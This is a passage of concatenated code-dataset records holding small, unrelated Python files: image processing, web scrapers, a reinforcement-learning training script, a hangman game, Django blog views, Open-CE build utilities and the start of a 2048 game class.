pixels\n for x in Elements_to_repeat:\n for y in range(Enlarge):\n Enlarged_image_data.append(x)\n\n return np.array(Enlarged_image_data)\n\n def Part_b_ii(self, image, Enlarge):\n # Getting Original image height and width\n img_height, img_width = image.shape\n\n # Calculating height and width of the enlarged image using the passed in Enlarge factor\n new_height, new_width = img_height * Enlarge, img_width * Enlarge\n\n # lets create an empty NxM matrix for the dimensions of the enlarged image\n enlarged_imge_data = np.empty([new_height, new_width])\n\n # Calculating x and y ratios\n Xratio = float(img_width - 1) / (new_width - 1) if new_width > 1 else 0\n Yratio = float(img_height - 1) / (new_height - 1) if new_height > 1 else 0\n\n # Performing Bilinear interpolation\n for x in range(new_height):\n for y in range(new_width):\n x_l, y_l = math.floor(Xratio * y), math.floor(Yratio * x)\n x_h, y_h = math.ceil(Xratio * y), math.ceil(Yratio * x)\n\n Xweight, Yweight = (Xratio * y) - x_l, (Yratio * x) - y_l\n\n a, b, c, d = image[y_l, x_l], image[y_l, x_h], image[y_h, x_l], image[y_h, x_h]\n\n pixel = a * (1 - Xweight) * (1 - Yweight) + b * Xweight * (1 - Yweight) + c * Yweight * (1 - Xweight) + d * Xweight * Yweight\n\n enlarged_imge_data[x][y] = pixel\n\n return enlarged_imge_data\n\n\ndef main():\n Q1_ = Q1()\n\n # Part a i\n Y1 = Q1_.Part_a_i(Q1_.ImageData)\n Q1_.showImage(\"Y1\", Y1)\n\n # Part a_ii\n Y2 = Q1_.Part_a_ii(Q1_.ImageData)\n Q1_.showImage(\"Y2\", Y2)\n\n # Part b_i\n Q1_.showImage(\"Blocky Enlarged Image\", Q1_.Part_b_i(Y1, 4))\n\n # Part b_ii\n Q1_.showImage(\"Enlarged Image using Bilinear Interpolation \", Q1_.Part_b_ii(Y1, 4))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"HW2/Q1/Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"524701410","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n# Copyright © 2018 qiang.zhou \n\nimport cv2\nimport numpy as np\n\n\"\"\" Put boxes on image, image and color should keep consist in channel dim.\n :image: Numpy array image in HxWxC.\n :box: Nx4 contains N boxes, it should in cross format, (minx, miny, maxx, maxy).\n :thickness: \n\"\"\"\ndef overlay_box(image, box, color=(255, 255, 255), thickness=1, lineType=8):\n if len(box.shape) == 1:\n box = np.array([box])\n for i_box in box:\n minx, miny, maxx, maxy = i_box\n cv2.rectangle(image, (int(minx), int(miny)), (int(maxx), int(maxy)), \\\n color=color, thickness=thickness, lineType=lineType)\n return image\n\n","sub_path":"codexamples/overlay_box.py","file_name":"overlay_box.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"225817463","text":"from hyperdash import Experiment\nfrom agent.trainer import Trainer\nfrom agent.util import EpsilonExponentialDecay\nfrom marlenv.goldmine.historic import GoldmineHRV\nfrom marlenv.util import GoldmineRecorder\nfrom agent.deepq.simple_dqn import SimpleDQN\n\nname = 'hrv_n2_v3_h10'\nexp = Experiment(name)\n\nagent_num = 6\ntask_num = 2\nview_range = 3\nmem_period = 10\nenv = GoldmineHRV(agent_num, task_num, view_range, mem_period)\nenv.seed(0)\n\nparams = {\n 'name' : name,\n 'episodes' : 30000,\n 'steps' : 200,\n 'no_op_episodes' : 100,\n 'epsilon' : EpsilonExponentialDecay(init=1.0, rate=0.9998),\n 'train_every' : 8,\n 'save_model_every' : 1000,\n 'is_centralized' : False,\n\n 'agent_num' : agent_num,\n 'env' : env,\n 'action_space' : env.action_space,\n 'observation_space' : env.observation_space,\n 'preprocess' : None,\n 'recorder' : GoldmineRecorder(agent_num),\n\n 'agent': [\n SimpleDQN(\n action_space = env.action_space,\n observation_space = env.observation_space,\n memory_size = 100000,\n batch_size = 256,\n learning_rate = 0.0002,\n gamma = 0.92,\n target_update = 100,\n use_dueling = False\n ) for _ in range(agent_num)\n ],\n\n 'hyperdash': exp\n}\n\ntrainer = Trainer(**params)\ntrainer.train()\n\nexp.end()\n","sub_path":"scripts/hrv_simple.py","file_name":"hrv_simple.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"142744102","text":"encontradas = []\nsecreto = []\ndigitadas = []\n\npalavra_secreta = 'PYTHON'\n\nfor p in palavra_secreta:\n secreto.append(\"_\")\n\ncont = 0\nprint(\"------------------------\")\nprint(\" JOGO DA FORCA \")\nprint(\"------------------------\")\n\n\nwhile True:\n print()\n print('A palavra é: ', end='')\n print(' '.join(secreto))\n print(f\"Letras digitadas: {' / '.join(digitadas)}\")\n letra = input(\"Digite uma letra: \").upper()\n\n if not letra.isnumeric() and len(letra) == 1:\n\n if letra not in palavra_secreta and letra not in digitadas:\n cont += 1\n print(f\"-> \\033[31mVocê errou pela {cont}ª vez. Tente novamente!\\033[0;0m\")\n\n if letra in digitadas:\n print(\"-> \\033[31mVocê já digitou essa letra!\\033[0;0m\")\n else:\n digitadas.append(letra)\n for pos, char in enumerate(palavra_secreta):\n if char == letra:\n encontradas.append(pos)\n secreto.pop(pos)\n secreto.insert(pos, palavra_secreta[pos])\n\n if len(palavra_secreta) == len(encontradas):\n print()\n print(f'A palavra secreta é {palavra_secreta}')\n print(\"Você VENCEU!!! Parabéns !!!\")\n break\n elif cont == 7:\n print()\n print(\"Você PERDEU!!! Tente novamente.\")\n break\n else:\n if letra.isnumeric():\n print(f\"-> \\033[31mDigite apenas letras.\\033[0;0m\")\n elif letra == '':\n print(f\"-> \\033[31mVocê precisar digitar algo.\\033[0;0m\")\n elif letra != 1:\n print(f\"-> \\033[31mDigite apenas uma letra por vez.\\033[0;0m\")\n\n\n\n","sub_path":"jogodaforca.py","file_name":"jogodaforca.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"468364333","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 18-5-20 下午2:31\n# @Author : 闫继龙\n# @File : jidong_code.py\n# @Software: PyCharm\n\nfrom selenium import webdriver\nimport numpy as np\nimport time\n\nbrowser = webdriver.Chrome()\nbrowser.set_page_load_timeout(30)\n\n# 1.查看多少页面\nbrowser.get(\n 'https://search.jd.com/Search?keyword=%E6%89%8B%E6%9C%BA&enc=utf-8&wq=%E6%89%8B%E6%9C%BA&pvid=8c843bd7216f4f6eaff661b402cb7b51')\n\npages_count = browser.find_element_by_css_selector('#J_bottomPage > span.p-skip > em:nth-child(1) > b')\npages = int(pages_count.text)\nprint('共有商品 %d 页' % pages)\n\n# 2. 抓取每页数据\nfor i in range(5):\n print('当前第 %d 页' % (i + 1))\n url = 'https://search.jd.com/Search?keyword=%E6%89%8B%E6%9C%BA&enc=utf-8&qrst=1&rt=1&stop=1&vt=2&wq=%E6%89%8B%E6%9C%BA&cid2=653&cid3=655&page=' \\\n + str((1 + 2 * (i - 1))) + '&s=232&click=0'\n browser.get(url)\n\n # 模拟页面滚动,获取动态数据\n browser.execute_script('window.scrollTo(0,document.body.scrollHeight);')\n time.sleep(1)\n\n goods = browser.find_element_by_css_selector('#J_goodsList > ul').find_elements_by_class_name('gl-item')\n print('第 %d 页,有 %d 件商品' % ((i + 1), len(goods)))\n\n # 获取每页每件商品信息\n for i in np.arange(len(goods)):\n good = goods[i]\n\n try:\n name = browser.find_element_by_css_selector(\n 'li:nth-child(' + str(i + 1) + ') > div > div.p-name.p-name-type-2 > a > em').text\n price = browser.find_element_by_css_selector(\n 'li:nth-child(' + str(i + 1) + ') > div > div.p-price > strong > i').text\n print('商品序号:%d, 商品名称:%s, 商品价格:%s' % (i, name, price))\n except:\n print(good.text)\n","sub_path":"browser_creeper/jidong_code.py","file_name":"jidong_code.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"240267526","text":"## Bulk image resizer\n# Usage: place this script in a folder of images you want to shrink,\n# and then run it.\n\nimport numpy as np\nimport cv2, os\nfrom PIL import Image, ExifTags\nimport traceback, functools\nfrom math import floor\n\ndir_path = os.getcwd() + \"\\playdohRaw\"\nprint(dir_path)\nclass_name = 'PLAYDOH'\nos.mkdir('resized')\n \nfor filename in os.listdir(dir_path):\n # If the images are not .JPG images, change the line below to match the image type.\n if filename.endswith(\".jpg\"):\n img = Image.open(filename)\n \n width, height = img.size\n if width > height: \n basewidth = 720\n new_height = floor(basewidth * height / width)\n\n img = img.resize((basewidth, new_height), Image.ANTIALIAS)\n else:\n baseheight = 720\n new_width = floor(baseheight * width / height)\n img = img.resize((new_width, baseheight), Image.ANTIALIAS)\n\n img.save('resized/' + class_name + '_' + str(idx+1).zfill(3) + '.jpg')\n\n\n \n\n \n \n \n","sub_path":"scripts/resizer.py","file_name":"resizer.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"401284802","text":"from collections import deque\n\nnum = int(input())\n\nfor i in range(num):\n # n = 문서 수, m = 몇번째로 인쇄되는지 궁금한 문서 인덱스\n n, m = map(int, input().split())\n # 중요도 입력받기\n queue = deque(map(int, input().split()))\n target = [0] * len(queue)\n target[m] = 1\n count = 0\n\n if n == 1:\n print(\"1\")\n else:\n while queue:\n if queue[0] < max(queue):\n queue.append(queue[0])\n queue.popleft()\n target.append(target.pop(0))\n elif queue[0] == max(queue):\n val = queue.popleft()\n count += 1\n if target.pop(0) == 1:\n break\n print(count)\n","sub_path":"BOJ/BJ_1966.py","file_name":"BJ_1966.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"279955384","text":"# coding: utf-8\n\nimport json\nimport lib.post\nimport mock\nimport report\nimport unittest\nimport urllib\nimport urllib2\n\nclass TestPost(unittest.TestCase):\n def setUp(self):\n self.data = {\n 'created_at': '0000-00-00T00:00:00Z',\n 'headline': 'fake headline',\n 'published_at': '0000-00-00T00:00:00Z',\n 'updated_at': '0000-00-00T00:00:00Z'\n }\n\n reload(lib.post)\n\n json.loads = mock.Noop(return_value = {'status': True})\n urllib.urlencode = mock.Noop()\n urllib2.Request = mock.Noop()\n urllib2.urlopen = mock.Noop(return_value = mock.Noop())\n\n def test_should_raise_when_created_at_is_missing(self):\n del self.data['created_at']\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_raise_when_headline_is_missing(self):\n del self.data['headline']\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_raise_when_published_at_is_missing(self):\n del self.data['published_at']\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_raise_when_updated_at_is_missing(self):\n del self.data['updated_at']\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_set_default_values_for_missing_keys(self):\n expected_data = {\n 'allow_comments': True,\n 'article_body': '',\n 'created_at': '0000-00-00T00:00:00Z',\n 'deck': '',\n 'editor_email': '',\n 'editor_image_id': '',\n 'editor_name': '',\n 'featured': False,\n 'featured_image_id': '',\n 'featured_image_legend': '',\n 'headline': 'fake headline',\n 'keywords': '',\n 'published_at': '0000-00-00T00:00:00Z',\n 'section': '',\n 'site': '',\n 'support_line': '',\n 'updated_at': '0000-00-00T00:00:00Z',\n 'usercreated': ''\n }\n\n lib.post.post(self.data)\n arguments, keyword_arguments = urllib.urlencode.called_with\n returned_data = arguments[0]\n\n self.assertDictEqual(expected_data, returned_data)\n\n def test_should_raise_when_service_returns_false_as_status(self):\n json.loads = mock.Noop(return_value = {'status': False})\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_raise_when_service_returns_nothing(self):\n json.loads = mock.Noop(return_value = '')\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_raise_when_service_returns_false_as_status(self):\n json.loads = mock.Noop(return_value = {'status': False})\n self.assertRaises(lib.post.PostError, lib.post.post, self.data)\n\n def test_should_return_the_service_response_when_ok(self):\n expected_data = {\n 'status': True\n }\n\n returned_data = lib.post.post(self.data)\n self.assertDictEqual(expected_data, returned_data)\n","sub_path":"test/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"355448631","text":"import sys\nimport re\nimport os\nimport subprocess\n\nwork_dir = \"./build/times/\"\ncompiler_logs = open(work_dir + \"times_logs.txt\", \"w\")\n\n\ndef try_compile():\n p = subprocess.call([\"g++\", \"-c\", \"main.cpp\"], cwd=work_dir, stdout=compiler_logs, stderr=compiler_logs)\n return p == 0\n\ndef extension(file):\n return file.split(\".\")[-1]\n \n\ndef process_file(fullname):\n with open(work_dir + \"main.cpp\", \"w\") as f:\n f.write(\"#include <\" + fullname + \">\")\n f.write(\"\"\"\n \n int main() {}\n \"\"\")\n if not try_compile():\n print(\"Unable to compile\", fullname)\n quit()\n\n \n \ndef process_files(folders):\n for proj in folders:\n for root, dirs, files in os.walk(proj):\n for file in files:\n if extension(file) not in {\"h\", \"cpp\"}:\n continue\n fullname = root + \"/\" + file\n \n print(\"Starting\", file)\n \n process_file(fullname)\n \n print(file, \"Done\")\n print()\n \n\nprojects = {\"y\", \"yave\", \"editor\"}\n\nprocess_files(projects)","sub_path":"times.py","file_name":"times.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"534211986","text":"\"\"\"\n*****************************************************************\nLicensed Materials - Property of IBM\n(C) Copyright IBM Corp. 2020. All Rights Reserved.\nUS Government Users Restricted Rights - Use, duplication or\ndisclosure restricted by GSA ADP Schedule Contract with IBM Corp.\n*****************************************************************\n\"\"\"\n\nimport os\nimport argparse\nimport sys\nimport subprocess\nfrom enum import Enum, unique\nfrom itertools import product\nimport pkg_resources\n\nDEFAULT_BUILD_TYPES = \"cpu,cuda\"\nDEFAULT_PYTHON_VERS = \"3.6\"\nDEFAULT_MPI_TYPES = \"openmpi\"\nDEFAULT_CONDA_BUILD_CONFIG = os.path.join(os.path.dirname(__file__),\n \"..\", \"conda_build_config.yaml\")\nDEFAULT_GIT_LOCATION = \"https://github.com/open-ce\"\nSUPPORTED_GIT_PROTOCOLS = [\"https:\", \"http:\", \"git@\"]\nDEFAULT_RECIPE_CONFIG_FILE = \"config/build-config.yaml\"\nDEFAULT_OUTPUT_FOLDER = \"condabuild\"\n\nclass OpenCEError(Exception):\n \"\"\"\n Exception class for errors that occur in an Open-CE tool.\n \"\"\"\n def __init__(self, msg):\n super().__init__(msg)\n self.msg = msg\n\nclass OpenCEFormatter(argparse.ArgumentDefaultsHelpFormatter):\n \"\"\"\n Default help text formatter class used within Open-CE.\n Allows the use of raw text argument descriptions by\n prepending 'R|' to the description text.\n \"\"\"\n def _split_lines(self, text, width):\n if text.startswith('R|'):\n return text[2:].splitlines()\n return super()._split_lines(text, width)\n\n@unique\nclass Argument(Enum):\n '''Enum for Arguments'''\n CONDA_BUILD_CONFIG = (lambda parser: parser.add_argument(\n '--conda_build_config',\n type=str,\n default=DEFAULT_CONDA_BUILD_CONFIG,\n help='Location of conda_build_config.yaml file.' ))\n\n OUTPUT_FOLDER = (lambda parser: parser.add_argument(\n '--output_folder',\n type=str,\n default=DEFAULT_OUTPUT_FOLDER,\n help='Path where built conda packages will be saved.'))\n\n CHANNELS = (lambda parser: parser.add_argument(\n '--channels',\n dest='channels_list',\n action='append',\n type=str,\n default=list(),\n help='Conda channels to be used.'))\n\n ENV_FILE = (lambda parser: parser.add_argument(\n 'env_config_file',\n nargs='+',\n type=str,\n help=\"Environment config file. This should be a YAML file \"\n \"describing the package environment you wish to build. A collection \"\n \"of files exist under the envs directory.\"))\n\n REPOSITORY_FOLDER = (lambda parser: parser.add_argument(\n '--repository_folder',\n type=str,\n default=\"\",\n help=\"Directory that contains the repositories. If the \"\n \"repositories don't exist locally, they will be \"\n \"downloaded from OpenCE's git repository. If no value is provided, \"\n \"repositories will be downloaded to the current working directory.\"))\n\n PYTHON_VERSIONS = (lambda parser: parser.add_argument(\n '--python_versions',\n type=str,\n default=DEFAULT_PYTHON_VERS,\n help='Comma delimited list of python versions to build for '\n ', such as \"3.6\" or \"3.7\".'))\n\n BUILD_TYPES = (lambda parser: parser.add_argument(\n '--build_types',\n type=str,\n default=DEFAULT_BUILD_TYPES,\n help='Comma delimited list of build types, such as \"cpu\" or \"cuda\".'))\n\n MPI_TYPES = (lambda parser: parser.add_argument(\n '--mpi_types',\n type=str,\n default=DEFAULT_MPI_TYPES,\n help='Comma delimited list of mpi types, such as \"openmpi\" or \"system\".'))\n\n DOCKER_BUILD = (lambda parser: parser.add_argument(\n '--docker_build',\n action='store_true',\n help=\"Perform a build within a docker container. \"\n \"NOTE: When the --docker_build flag is used, all arguments with paths \"\n \"should be relative to the directory containing open-ce. Only files \"\n \"within the open-ce directory and local_files will be visible at \"\n \"build time.\"))\n\ndef make_parser(arguments, *args, formatter_class=OpenCEFormatter, **kwargs):\n '''\n Make a parser from a list of OPEN-CE Arguments.\n '''\n parser = argparse.ArgumentParser(*args, formatter_class=formatter_class, **kwargs)\n for argument in arguments:\n argument(parser)\n return parser\n\ndef parse_arg_list(arg_list):\n ''' Turn a comma delimited string into a python list'''\n if isinstance(arg_list, list):\n return arg_list\n return arg_list.split(\",\") if not arg_list is None else list()\n\ndef make_variants(python_versions=DEFAULT_PYTHON_VERS, build_types=DEFAULT_BUILD_TYPES, mpi_types=DEFAULT_MPI_TYPES):\n '''Create a cross product of possible variant combinations.'''\n variants = { 'python' : parse_arg_list(python_versions),\n 'build_type' : parse_arg_list(build_types),\n 'mpi_type' : parse_arg_list(mpi_types)}\n return [dict(zip(variants,y)) for y in product(*variants.values())]\n\ndef remove_version(package):\n '''Remove conda version from dependency.'''\n return package.split()[0].split(\"=\")[0]\n\ndef check_if_conda_build_exists():\n '''Checks if conda-build is installed and exits if it is not'''\n try:\n pkg_resources.get_distribution('conda-build')\n except pkg_resources.DistributionNotFound:\n print(\"Cannot find `conda_build`, please see https://github.com/open-ce/open-ce#requirements\"\n \" for a list of requirements.\")\n sys.exit(1)\n\ndef make_schema_type(data_type,required=False):\n '''Make a schema type tuple.'''\n return (data_type, required)\n\ndef validate_type(value, schema_type):\n '''Validate a single type instance against a schema type.'''\n if isinstance(schema_type, dict):\n validate_dict_schema(value, schema_type)\n else:\n if not isinstance(value, schema_type):\n raise OpenCEError(\"{} is not of expected type {}\".format(value, schema_type))\n\ndef validate_dict_schema(dictionary, schema):\n '''Recursively validate a dictionary's schema.'''\n for k, (schema_type, required) in schema.items():\n if k not in dictionary:\n if required:\n raise OpenCEError(\"Required key {} was not found in {}\".format(k, dictionary))\n continue\n if isinstance(schema_type, list):\n if dictionary[k] is not None: #Handle if the yaml file has an empty list for this key.\n validate_type(dictionary[k], list)\n for value in dictionary[k]:\n validate_type(value, schema_type[0])\n else:\n validate_type(dictionary[k], schema_type)\n for k in dictionary:\n if not k in schema:\n raise OpenCEError(\"Unexpected key {} was found in {}\".format(k, dictionary))\n\ndef run_and_log(command):\n '''Print a shell command and then execute it.'''\n print(\"--->{}\".format(command))\n return os.system(command)\n\ndef get_output(command):\n '''Print and execute a shell command and then return the output.'''\n print(\"--->{}\".format(command))\n return subprocess.check_output(command, shell=True).decode(\"utf-8\").strip()\n","sub_path":"open-ce/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"277543602","text":"import pandas as pd\nimport requests\nimport bs4\n\n\n# get Coonmarketcap slugs\ndf_cmc_load_coins = pd.read_csv('data/csv/cmc_load_coins.csv')\nlist_slugs = list(df_cmc_load_coins['website_slug'])\nlist_market_share = list()\n\n# get Coinmarketcap markets data\ni = 0\n\nfor item in list_slugs:\n try:\n url = 'https://coinmarketcap.com/currencies/' + item + '/#markets'\n res_markets = requests.get(url)\n soup = bs4.BeautifulSoup(res_markets.text, 'html.parser')\n name = soup.select('h1')[0].getText()\n name = name[:name.find('\\n',2)].strip()\n i += 1\n print(i, name)\n #crypto_share = fiat_share = btc_share = eth_share = usd_share = usdt_share = ckusd_share = eur_share = cny_share = jpy_share = krw_share = float()\n crypto_share = fiat_share = btc_share = eth_share = usd_share = usdt_share = ckusd_share = eur_share = cny_share = jpy_share = krw_share = 0\n largest_fiat_markets = str()\n i_fiat_markets = 0\n largest_crypto_markets = str()\n i_crypto_markets = 0\n try:\n for row in soup.findAll('table')[0].tbody.findAll('tr'):\n exchange = row.select('td')[1].getText().strip()\n pair = row.select('td')[2].getText().strip()\n volume = row.select('td')[3].getText().strip()\n if volume.startswith('*'):\n dollar_sign = volume.find('$')\n volume = volume[dollar_sign:]\n perc = row.select('td')[5].getText().strip()\n perc = float(perc[:-1])\n perc_string = str(perc)\n if '/BTC' in pair:\n if item == 'bitcoin':\n continue\n btc_share += perc\n crypto_share += perc\n if i_crypto_markets < 10:\n largest_crypto_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_crypto_markets += 1\n if '/ETH' in pair:\n if item == 'bitcoin':\n continue\n eth_share += perc\n crypto_share += perc\n if i_crypto_markets < 10:\n largest_crypto_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_crypto_markets += 1\n if '/USD' in pair and '/USDT' not in pair:\n usd_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n if '/USDT' in pair:\n usdt_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n if '/CKUSD' in pair:\n ckusd_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n if '/EUR' in pair:\n eur_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n if '/CNY' in pair:\n cny_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n if '/JPY' in pair:\n jpy_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n if '/KRW' in pair:\n krw_share += perc\n fiat_share += perc\n if i_fiat_markets < 10:\n largest_fiat_markets += str(\n exchange + ' ' + pair + ' Vol: ' + volume + ' - ' + perc_string + '% || ')\n i_fiat_markets += 1\n except:\n pass\n print(largest_crypto_markets)\n print(largest_fiat_markets)\n list_market_share.append(\n [name, crypto_share, largest_crypto_markets, fiat_share, largest_fiat_markets, btc_share, eth_share,\n usd_share, usdt_share, ckusd_share, eur_share, cny_share, jpy_share, krw_share])\n except:\n pass\n df_market_shares = pd.DataFrame(list_market_share,\n columns=['name', 'BTC+ETH_pairs', 'Top_crypto_markets', 'Top_fiat_pairs',\n 'Top_fiat_markets', 'BTC_pairs', 'ETH_pairs', 'USD_pairs', 'USDT_pairs',\n 'CK.USDT_pairs', 'EUR_pairs', 'CNY_pairs', 'JPY_pairs', 'KRW_pairs'])\nprint(df_market_shares)\ndf_market_shares.to_csv('data/csv/cmc_load_markets.csv')","sub_path":"cmc_load_markets.py","file_name":"cmc_load_markets.py","file_ext":"py","file_size_in_byte":5868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"129193200","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom __builtin__ import unicode\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.shortcuts import HttpResponse, render_to_response, render\n\n# Create your views here.\nfrom django.template import RequestContext\n\nfrom api.blog_forms import BlogForm, TagForm\nfrom api.models import Author, Blog, Tag\n\n\ndef home_view(request):\n return render_to_response('blog_list.html')\n\n\ndef blog_filer_view(request, id=None):\n tags = Tag.objects.all()\n tag = Tag.objects.get(id=id)\n blogs = tag.blog_set.all()\n return render_to_response(\"blog_filter.html\",\n {\"blogs\": blogs, \"tag\": tag, \"tags\": tags})\n\n\ndef blog_add_view(request):\n if request.method == 'POST':\n form = BlogForm(request.POST)\n tag = TagForm(request.POST)\n if form.is_valid() and tag.is_valid():\n cd = form.cleaned_data\n cdtag = tag.cleaned_data\n tagname = cdtag['tag_name']\n for taglist in tagname.split():\n Tag.objects.get_or_create(tag_name=taglist.strip())\n title = cd['caption']\n author = Author.objects.get(id=1)\n content = cd['content']\n blog = Blog(caption=title, author=author, content=content)\n blog.save()\n for taglist in tagname.split():\n blog.tags.add(Tag.objects.get(tag_name=taglist.strip()))\n blog.save()\n id = Blog.objects.order_by('-publish_time')[0].id\n return HttpResponseRedirect('/blog/show/%s' % id)\n else:\n form = BlogForm()\n tag = TagForm(initial={'tag_name': 'notags'})\n return render_to_response('blog_add.html',\n {'form': form, 'tag': tag}, context_instance=RequestContext(request))\n\n\ndef blog_show_view(request, id):\n try:\n blog = Blog.objects.get(id=id)\n tags = Tag.objects.all()\n except Blog.DoesNotExist:\n raise Http404\n return render_to_response(\"blog_show.html\",\n {\"blog\": blog, \"tags\": tags},\n context_instance=RequestContext(request))\n\n\ndef blog_update_view(request, id):\n id = id\n if request.method == 'POST':\n form = BlogForm(request.POST)\n tag = TagForm(request.POST)\n if form.is_valid() and tag.is_valid():\n cd = form.cleaned_data\n cdtag = tag.cleaned_data\n tagname = cdtag['tag_name']\n tagnamelist = tagname.split()\n for taglist in tagnamelist:\n Tag.objects.get_or_create(tag_name=taglist.strip())\n title = cd['caption']\n content = cd['content']\n blog = Blog.objects.get(id=id)\n if blog:\n blog.caption = title\n blog.content = content\n blog.save()\n for taglist in tagnamelist:\n blog.tags.add(Tag.objects.get(tag_name=taglist.strip()))\n blog.save()\n tags = blog.tags.all()\n for tagname in tags:\n tagname = unicode(str(tagname), \"utf-8\")\n if tagname not in tagnamelist:\n notag = blog.tags.get(tag_name=tagname)\n blog.tags.remove(notag)\n else:\n blog = Blog(caption=blog.caption, content=blog.content)\n blog.save()\n return HttpResponseRedirect('/blog/show/%s' % id)\n else:\n try:\n blog = Blog.objects.get(id=id)\n except Exception:\n raise Http404\n form = BlogForm(initial={'caption': blog.caption, 'content': blog.content}, auto_id=False)\n tags = blog.tags.all()\n if tags:\n taginit = ''\n for x in tags:\n taginit += str(x) + ' '\n tag = TagForm(initial={'tag_name': taginit})\n else:\n tag = TagForm()\n return render_to_response('blog_add.html',\n {'blog': blog, 'form': form, 'id': id, 'tag': tag},\n context_instance=RequestContext(request))\n\n\ndef blog_list_view(request):\n blogs = Blog.objects.order_by('-id')\n tags = Tag.objects.all()\n return render_to_response(\"blog_list.html\",\n {\"blogs\": blogs, \"tags\": tags, },\n context_instance=RequestContext(request))\n","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"79709755","text":"def prime(x):\n if(x>2):\n for i in range(2,x+1):\n for j in range(2,x//2 +1):\n if(x%j==0):\n return('{} is not a prime number.'.format(x))\n break\n elif(j==x//2):\n return('{} is a prime number.'.format(x))\n\nif __name__==\"__main__\":\n x=int(input(\"Enter a number: \"))\n result=prime(x)\n print(result)\n","sub_path":"funprime.py","file_name":"funprime.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"367067445","text":"import random\n\nimport numpy as np\n\n# reverse a matrix \n\n\nclass Board():\n def __init__(self):\n #print('in init')\n self.commands = {'up':self.up, 'down':self.down,'left':self.left,'right':self.right}\n self.history = []\n self.new_game()\n\n def new_game(self):\n matrix = []\n for i in range(4):\n matrix.append([0]*4)\n self.matrix = matrix\n self.temp_matrix = matrix\n self.add_two()\n self.add_two()\n self.history.append(self.matrix)\n\n def add_two(self):\n if self.game_state() == 2:\n a = random.randint(0, 3)\n b = random.randint(0, 3)\n while self.matrix[a][b] != 0:\n a = random.randint(0, 3)\n b = random.randint(0, 3)\n self.matrix[a][b] = 2\n #self.history.append(self.matrix)\n\n def numZeros(self):\n num = 0\n for i in range(4):\n for j in range(4):\n if self.matrix[i][j] == 0:\n num += 1\n return num\n\n def numNum(self,num):\n count = 0\n for i in range(4):\n for j in range(4):\n if self.matrix[i][j] == num:\n count += 1\n return count\n def symCount(self):\n count = 0\n num_zeros = 0\n for i in range(4):\n for j in range(4):\n if self.matrix[i][j] == self.matrix[j][i]:\n if self.matrix[i][j] != 0:\n if i != j:\n # print('new match')\n # print('i is :')\n # print(i)\n # print('j is :')\n # print(j)\n count += 1\n else:\n num_zeros += 1\n if self.matrix[i][j] == self.matrix[3-j][3-i]:\n if self.matrix[i][j] != 0:\n # print('new match')\n # print('i is :')\n # print(i)\n # print('j is :')\n # print(j)\n if i != 